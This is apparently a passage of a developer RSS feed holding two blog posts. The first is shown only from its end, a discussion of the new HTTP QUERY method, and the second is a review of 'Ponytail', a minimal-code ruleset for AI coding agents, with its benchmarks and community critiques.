&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight http&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;GET /api/users/active
GET /api/users/inactive
GET /api/users/premium
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;You now have:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight http&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;QUERY /api/users
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;With a single endpoint, it&#39;s easier to &lt;strong&gt;maintain&lt;/strong&gt;, &lt;strong&gt;secure&lt;/strong&gt;, and &lt;strong&gt;monitor&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;summary-get-vs-post-vs-query&quot; href=&quot;https://dev.to/tykok/the-new-http-method-query-2bec#summary-get-vs-post-vs-query&quot;&gt;
  &lt;/a&gt;
  Summary: GET vs POST vs QUERY
&lt;/h2&gt;

&lt;div class=&quot;table-wrapper-paragraph&quot;&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;GET&lt;/th&gt;
&lt;th&gt;POST&lt;/th&gt;
&lt;th&gt;QUERY&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Safe&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;✅ Yes&lt;/td&gt;
&lt;td&gt;❌ No&lt;/td&gt;
&lt;td&gt;✅ Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Idempotent&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;✅ Yes&lt;/td&gt;
&lt;td&gt;❌ No&lt;/td&gt;
&lt;td&gt;✅ Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Body allowed&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;❌ No&lt;/td&gt;
&lt;td&gt;✅ Yes&lt;/td&gt;
&lt;td&gt;✅ Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cacheable&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;✅ Yes&lt;/td&gt;
&lt;td&gt;⚠️ Complex&lt;/td&gt;
&lt;td&gt;✅ Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Safely replayable&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;✅ Yes&lt;/td&gt;
&lt;td&gt;❌ Risky&lt;/td&gt;
&lt;td&gt;✅ Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;URI for the request&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;✅ By default&lt;/td&gt;
&lt;td&gt;❌ No&lt;/td&gt;
&lt;td&gt;✅ Optional&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;


&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;conclusion&quot; href=&quot;https://dev.to/tykok/the-new-http-method-query-2bec#conclusion&quot;&gt;
  &lt;/a&gt;
  Conclusion
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;QUERY&lt;/code&gt; finally gives us a solution for executing complex requests. It&#39;s a &quot;&lt;em&gt;small&lt;/em&gt;&quot; change with a big impact. This new method solves a real problem that developers have been working around for years.&lt;/p&gt;

&lt;p&gt;Moreover, this method was just standardized recently (June 2026), so it will take a while before it&#39;s truly adopted.&lt;/p&gt;

&lt;h3&gt;
  &lt;a name=&quot;deployment-status&quot; href=&quot;https://dev.to/tykok/the-new-http-method-query-2bec#deployment-status&quot;&gt;
  &lt;/a&gt;
  ⚠️ Deployment Status
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;✅ &lt;strong&gt;Standardized&lt;/strong&gt;: RFC 10008 (June 2026)&lt;/li&gt;
&lt;li&gt;⏳ &lt;strong&gt;Implementation&lt;/strong&gt;: Very few servers/clients support it yet&lt;/li&gt;
&lt;li&gt;🚀 &lt;strong&gt;Timeline for adoption&lt;/strong&gt;: Probably 2027-2028&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Before using it in production&lt;/strong&gt;, wait for implementations to become more widespread. For now, it&#39;s mainly important to understand the concept and keep it in mind for your future API architecture.&lt;/p&gt;


&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;next-step-query-in-practice&quot; href=&quot;https://dev.to/tykok/the-new-http-method-query-2bec#next-step-query-in-practice&quot;&gt;
  &lt;/a&gt;
  Next Step: QUERY in Practice
&lt;/h2&gt;

&lt;p&gt;This article covers the theory and key concepts of QUERY. But how do you use it practically?&lt;/p&gt;

&lt;p&gt;In a future article, I&#39;ll explore &lt;strong&gt;practical implementation of QUERY with a REST API&lt;/strong&gt;, showing how to build a REST API that supports this new HTTP method and how to integrate it into a real-world architecture.&lt;/p&gt;

&lt;p&gt;Stay tuned! 🚀&lt;/p&gt;


            </description><link>https://dev.to/tykok/the-new-http-method-query-2bec</link><guid isPermaLink="false">https://dev.to/tykok/the-new-http-method-query-2bec</guid><pubDate>Sun, 28 Jun 2026 15:54:11 GMT</pubDate><author>Tykok</author><enclosure url="https://media2.dev.to/dynamic/image/width=1000,height=420,fit=cover,gravity=auto,format=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fm4s8tltxtrughmjjg6vf.jpg" type="image/jpeg"></enclosure><category>programming</category><category>http</category><category>restapi</category><category>backend</category></item><item><title>Ponytail: The AI Coding Skill Taking GitHub by Storm — And the One Question Nobody&#39;s Answered Yet</title><description>&lt;p&gt;If you&#39;ve been anywhere near GitHub or the AI coding community in the last two weeks, you&#39;ve probably seen the name &lt;strong&gt;Ponytail&lt;/strong&gt; pop up. It hit ~44,000 stars in under 9 days, trended #2 on GitHub, got cited by Chinese tech press, and sparked full-blown debates on Hacker News and Reddit.&lt;/p&gt;

&lt;p&gt;So what is it? Is it actually useful? And — more importantly — does it hold up in a real project with a design system already in place?&lt;/p&gt;

&lt;p&gt;Let&#39;s dig in.&lt;/p&gt;


&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;the-archetype-that-started-it-all&quot; href=&quot;https://dev.to/yashddesai/ponytail-the-ai-coding-skill-taking-github-by-storm-and-the-one-question-nobodys-answered-yet-46mc#the-archetype-that-started-it-all&quot;&gt;
  &lt;/a&gt;
  The Archetype That Started It All
&lt;/h2&gt;

&lt;p&gt;You know the guy. Long ponytail. Oval glasses. Has been at the company longer than version control. You show him fifty lines of code. He looks at them, says nothing, and replaces them with one.&lt;/p&gt;

&lt;p&gt;That&#39;s the character Ponytail is named after — and the character it tries to inject into your AI agent.&lt;/p&gt;

&lt;p&gt;The project, created by &lt;a href=&quot;https://github.com/DietrichGebert/ponytail&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;DietrichGebert on GitHub&lt;/a&gt;, is a plugin/skill for AI coding agents (Claude Code, Codex, GitHub Copilot CLI, Cursor, Windsurf, OpenCode, Gemini CLI, and 8 more). It works by injecting a &quot;lazy senior developer&quot; ruleset into the agent&#39;s context at session start, forcing the agent to stop and think before writing a single line of code.&lt;/p&gt;


&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;the-decision-ladder&quot; href=&quot;https://dev.to/yashddesai/ponytail-the-ai-coding-skill-taking-github-by-storm-and-the-one-question-nobodys-answered-yet-46mc#the-decision-ladder&quot;&gt;
  &lt;/a&gt;
  The Decision Ladder
&lt;/h2&gt;

&lt;p&gt;At the heart of Ponytail is what it calls &lt;strong&gt;the ladder&lt;/strong&gt; — a sequence of questions the agent must climb before producing any code:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Does this need to exist at all?&lt;/strong&gt; → No: skip it (YAGNI)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Already in this codebase?&lt;/strong&gt; → Reuse it, don&#39;t rewrite it&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Stdlib does it?&lt;/strong&gt; → Use it&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Native platform feature covers it?&lt;/strong&gt; → Use it&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Already-installed dependency solves it?&lt;/strong&gt; → Use it&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Can it be one line?&lt;/strong&gt; → One line&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Only then:&lt;/strong&gt; the minimum code that works&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The ladder is designed to run &lt;em&gt;after&lt;/em&gt; the agent understands the problem — not instead of reading the codebase. Lazy about the solution, never about reading.&lt;/p&gt;


&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;the-example-that-made-it-click-for-everyone&quot; href=&quot;https://dev.to/yashddesai/ponytail-the-ai-coding-skill-taking-github-by-storm-and-the-one-question-nobodys-answered-yet-46mc#the-example-that-made-it-click-for-everyone&quot;&gt;
  &lt;/a&gt;
  The Example That Made It Click for Everyone
&lt;/h2&gt;

&lt;p&gt;You ask your AI agent to add a date picker.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Without Ponytail:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;npm &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;flatpickr
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Then a wrapper component. Then a stylesheet. Then a discussion about timezones. 404 lines later, you have a date picker.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;With Ponytail:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight html&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;&amp;lt;!-- ponytail: browser has one --&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;date&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Done. 404 lines → 23. The browser has had native date input for over a decade.&lt;/p&gt;

&lt;p&gt;This is exactly the kind of over-build trap that makes developers frustrated with AI agents. The agent is trying to be helpful, and &quot;helpful&quot; translates to: install a library, build an abstraction, add configuration, write documentation for code nobody asked for.&lt;/p&gt;


&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;the-numbers-and-why-theyre-credible&quot; href=&quot;https://dev.to/yashddesai/ponytail-the-ai-coding-skill-taking-github-by-storm-and-the-one-question-nobodys-answered-yet-46mc#the-numbers-and-why-theyre-credible&quot;&gt;
  &lt;/a&gt;
  The Numbers (And Why They&#39;re Credible)
&lt;/h2&gt;

&lt;p&gt;Most AI tool benchmarks are marketing. Ponytail&#39;s are unusually honest — partly because a community critic forced them to be.&lt;/p&gt;

&lt;p&gt;The original benchmark was single-shot: one prompt, one completion, count the lines. &lt;a href=&quot;https://blog.scottlogic.com/2026/06/16/ponytail-yagni-and-the-problem-with-prompt-benchmarks.html&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Colin Eberhardt (Scott Logic)&lt;/a&gt; called this out fairly: the baseline model was chatty and padded answers with prose, so comparing line counts inflated the gap. He also tested whether simply saying &quot;Follow YAGNI principles, and prefer one-liner solutions&quot; (7 words) matched Ponytail&#39;s score. It nearly did.&lt;/p&gt;

&lt;p&gt;The author responded positively — rebuilt the entire benchmark as a real agentic test:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Engine:&lt;/strong&gt; Claude Code headless (&lt;code&gt;claude -p&lt;/code&gt;), not a bare API model&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Repo:&lt;/strong&gt; &lt;a href=&quot;https://github.com/fastapi/full-stack-fastapi-template&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;&lt;code&gt;tiangolo/full-stack-fastapi-template&lt;/code&gt;&lt;/a&gt; — a real, popular FastAPI + React codebase, publicly pinned so anyone can reproduce&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Arms:&lt;/strong&gt; baseline (no skill) · ponytail · caveman (terse-prose control) · Colin&#39;s own 7-word YAGNI prompt&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Metric:&lt;/strong&gt; &lt;code&gt;git diff&lt;/code&gt; added lines — not the whole answer, just what the agent actually committed&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;They also caught and disclosed a contamination bug in an earlier agentic run where Ponytail&#39;s &lt;code&gt;SessionStart&lt;/code&gt; hook was firing on the baseline arm too (making the baseline secretly run Ponytail). They fixed it and published it anyway. That kind of transparency is rare.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The corrected, honest numbers (Haiku 4.5, 12 tasks):&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;table-wrapper-paragraph&quot;&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;vs no-skill baseline&lt;/th&gt;
&lt;th style=&quot;text-align: right&quot;&gt;LOC&lt;/th&gt;
&lt;th style=&quot;text-align: right&quot;&gt;tokens&lt;/th&gt;
&lt;th style=&quot;text-align: right&quot;&gt;cost&lt;/th&gt;
&lt;th style=&quot;text-align: right&quot;&gt;time&lt;/th&gt;
&lt;th style=&quot;text-align: right&quot;&gt;safe&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ponytail&lt;/strong&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: right&quot;&gt;&lt;strong&gt;-54%&lt;/strong&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: right&quot;&gt;&lt;strong&gt;-22%&lt;/strong&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: right&quot;&gt;&lt;strong&gt;-20%&lt;/strong&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: right&quot;&gt;&lt;strong&gt;-27%&lt;/strong&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: right&quot;&gt;&lt;strong&gt;100%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;caveman (terse-prose)&lt;/td&gt;
&lt;td style=&quot;text-align: right&quot;&gt;-20%&lt;/td&gt;
&lt;td style=&quot;text-align: right&quot;&gt;+7%&lt;/td&gt;
&lt;td style=&quot;text-align: right&quot;&gt;+3%&lt;/td&gt;
&lt;td style=&quot;text-align: right&quot;&gt;+2%&lt;/td&gt;
&lt;td style=&quot;text-align: right&quot;&gt;100%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&quot;YAGNI + one-liners&quot;&lt;/td&gt;
&lt;td style=&quot;text-align: right&quot;&gt;-33%&lt;/td&gt;
&lt;td style=&quot;text-align: right&quot;&gt;-14%&lt;/td&gt;
&lt;td style=&quot;text-align: right&quot;&gt;-21%&lt;/td&gt;
&lt;td style=&quot;text-align: right&quot;&gt;-30%&lt;/td&gt;
&lt;td style=&quot;text-align: right&quot;&gt;95%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Ponytail is the only arm that cuts every metric. The safety result matters: the 7-word YAGNI prompt dropped a path-traversal guard in one of the adversarial tests. Ponytail kept it. &quot;Never simplify away input validation at trust boundaries&quot; is a hard rule in the skill.&lt;/p&gt;

&lt;p&gt;The gains are biggest where there&#39;s a real over-build trap — date picker went from 404 to 23 lines, color picker from 287 to 23, because the agent reached for &lt;code&gt;&amp;lt;input type=&quot;date&quot;&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;input type=&quot;color&quot;&amp;gt;&lt;/code&gt; instead of component libraries. On already-minimal backend CRUD code, the difference was near zero.&lt;/p&gt;

&lt;p&gt;They also tested it on a local llama3.2 (3B) model. Result was noise — one run 17% under baseline, the next 50% over. They published that too instead of burying it. Worth noting: Ponytail is tuned for frontier models that actually follow instructions.&lt;/p&gt;


&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;how-it-actually-works-technically&quot; href=&quot;https://dev.to/yashddesai/ponytail-the-ai-coding-skill-taking-github-by-storm-and-the-one-question-nobodys-answered-yet-46mc#how-it-actually-works-technically&quot;&gt;
  &lt;/a&gt;
  How It Actually Works (Technically)
&lt;/h2&gt;

&lt;p&gt;Ponytail is not magic — it&#39;s a portable ruleset delivered differently per agent host:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Claude Code / Codex:&lt;/strong&gt; Two Node.js lifecycle hooks — &lt;code&gt;SessionStart&lt;/code&gt; injects the ruleset into every session, &lt;code&gt;UserPromptSubmit&lt;/code&gt; tracks mode changes (&lt;code&gt;/ponytail lite|full|ultra&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OpenCode:&lt;/strong&gt; An ES module plugin that appends the ruleset to the system prompt on every turn via &lt;code&gt;experimental.chat.system.transform&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Gemini CLI / Antigravity CLI:&lt;/strong&gt; A &lt;code&gt;gemini-extension.json&lt;/code&gt; that loads the rules and registers commands&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cursor, Windsurf, Cline, Kiro:&lt;/strong&gt; Plain rules files you copy into your project (&lt;code&gt;.cursor/rules/&lt;/code&gt;, &lt;code&gt;.windsurf/rules/&lt;/code&gt;, etc.)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;MCP server:&lt;/strong&gt; A standalone &lt;code&gt;ponytail-mcp&lt;/code&gt; package exposing the ruleset as both a prompt and a tool for any MCP-compatible host&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The instruction set itself lives in &lt;code&gt;skills/ponytail/SKILL.md&lt;/code&gt; — the canonical source of truth. Every adapter reads from this single file via a shared instruction builder, so Claude Code, Codex, OpenCode, and the Pi agent harness all get identical rules. A &lt;code&gt;check-rule-copies.js&lt;/code&gt; script in CI fails if any adapter&#39;s copy drifts from the canonical.&lt;/p&gt;

&lt;p&gt;Three intensity levels:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;lite:&lt;/strong&gt; Suggests the lazier alternative but lets you decide&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;full (default):&lt;/strong&gt; Enforces the ladder. Stdlib and native first.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;ultra:&lt;/strong&gt; YAGNI extremist. Deletion before addition. Challenges the requirement in the same breath as the code.&lt;/li&gt;
&lt;/ul&gt;


&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;what-the-community-is-actually-saying&quot; href=&quot;https://dev.to/yashddesai/ponytail-the-ai-coding-skill-taking-github-by-storm-and-the-one-question-nobodys-answered-yet-46mc#what-the-community-is-actually-saying&quot;&gt;
  &lt;/a&gt;
  What the Community Is Actually Saying
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Hacker News&lt;/strong&gt; reaction was split. On one side, enthusiasts immediately resonated — the date picker example is a shared pain point. On the other, skeptics noted the irony:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;&quot;Oh the irony of this giant repo for a prompt. Is this the new leftpad?&quot;&lt;/em&gt; — HN user &lt;code&gt;9NRtKyP4&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;&quot;The whole thing is essentially just these rules, and a metric ton of boilerplate for specific plugin systems.&quot;&lt;/em&gt; — HN user &lt;code&gt;donatj&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Both fair. The core skill is ~100 lines of Markdown. The rest of the repo is multi-agent adapter infrastructure.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scott Logic&#39;s Colin Eberhardt&lt;/strong&gt; wrote &lt;a href=&quot;https://blog.scottlogic.com/2026/06/16/ponytail-yagni-and-the-problem-with-prompt-benchmarks.html&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;the most technically rigorous critique&lt;/a&gt;, raising four points: the benchmark baseline was chatty, safety wasn&#39;t measured, a short prompt might do the same job, and single-shot benchmarks don&#39;t reflect real agent usage. All four were addressed in the rebuilt benchmark. He acknowledged this publicly on LinkedIn.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Security/DevOps reviewer Mehdi Rahmani&lt;/strong&gt; ran a hands-on test and gave &lt;a href=&quot;https://mehdirahmani.fr/en/ponytail-ai-agent-rules-honest-review/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;an honest ground-level verdict&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;&quot;Ponytail is still an instruction layer. If your agent ignores context, if your host doesn&#39;t load skills, or if your model has poor code discipline, Ponytail won&#39;t magically fix any of that. It raises the probability of keeping things simple, but it doesn&#39;t replace a proper technical review.&quot;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;He also called out the genuinely useful thing it does: formalizes a hygiene that many teams ask for without ever writing it down — delete before adding, prefer native solutions, reject speculative abstractions.&lt;/p&gt;


&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;the-question-nobody-has-answered-yet&quot; href=&quot;https://dev.to/yashddesai/ponytail-the-ai-coding-skill-taking-github-by-storm-and-the-one-question-nobodys-answered-yet-46mc#the-question-nobody-has-answered-yet&quot;&gt;
  &lt;/a&gt;
  The Question Nobody Has Answered Yet
&lt;/h2&gt;

&lt;p&gt;Here&#39;s the concern that surfaced on Hacker News and hasn&#39;t been properly addressed.&lt;/p&gt;

&lt;p&gt;Ponytail&#39;s most dramatic wins come from the date picker example — native &lt;code&gt;&amp;lt;input type=&quot;date&quot;&amp;gt;&lt;/code&gt; instead of a flatpickr wrapper. Rung 4 of the ladder: &lt;em&gt;&quot;native platform feature covers it.&quot;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;But what if your project already has &lt;strong&gt;shadcn/ui&lt;/strong&gt; and &lt;strong&gt;Tailwind CSS&lt;/strong&gt; installed?&lt;/p&gt;

&lt;p&gt;Now rung 5 applies: &lt;em&gt;&quot;already-installed dependency solves it.&quot;&lt;/em&gt; The correct answer is &lt;code&gt;&amp;lt;DatePicker /&amp;gt;&lt;/code&gt; from shadcn — not &lt;code&gt;&amp;lt;input type=&quot;date&quot;&amp;gt;&lt;/code&gt;, which breaks your design system, and definitely not flatpickr.&lt;/p&gt;

&lt;p&gt;HN user &lt;code&gt;wiradikusuma&lt;/code&gt; raised exactly this:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;&quot;Real senior developers can do that because they have experience and can put that in context. E.g. &lt;code&gt;&amp;lt;input type=&quot;date&quot;&amp;gt;&lt;/code&gt; maybe fine for one scenario, but we might need a fancier one for another. I wonder if the skill takes PRD or the surrounding code into context to better emulate those developers?&quot;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The ladder theoretically handles it — rung 5 sits &lt;em&gt;above&lt;/em&gt; rung 4, so an installed design system should win over native browser elements. But the benchmark was run on &lt;code&gt;tiangolo/full-stack-fastapi-template&lt;/code&gt;, which has &lt;strong&gt;no shadcn, no component library&lt;/strong&gt;. The &quot;native input wins&quot; result was correct for that repo. What happens in a project with an established design system is untested.&lt;/p&gt;

&lt;p&gt;In practice, whether Ponytail makes the right call here depends entirely on whether the agent actually reads &lt;code&gt;package.json&lt;/code&gt; and your existing component files before picking a rung. The skill says &quot;read the code it touches first, trace the real flow end to end, then climb&quot; — but instruction-following is probabilistic, not guaranteed.&lt;/p&gt;

&lt;p&gt;The fix, if you run into this, is straightforward: add a project-level rule to your &lt;code&gt;AGENTS.md&lt;/code&gt; or &lt;code&gt;.cursor/rules/&lt;/code&gt; explicitly stating your design system. Something like:&lt;br&gt;
&lt;/p&gt;

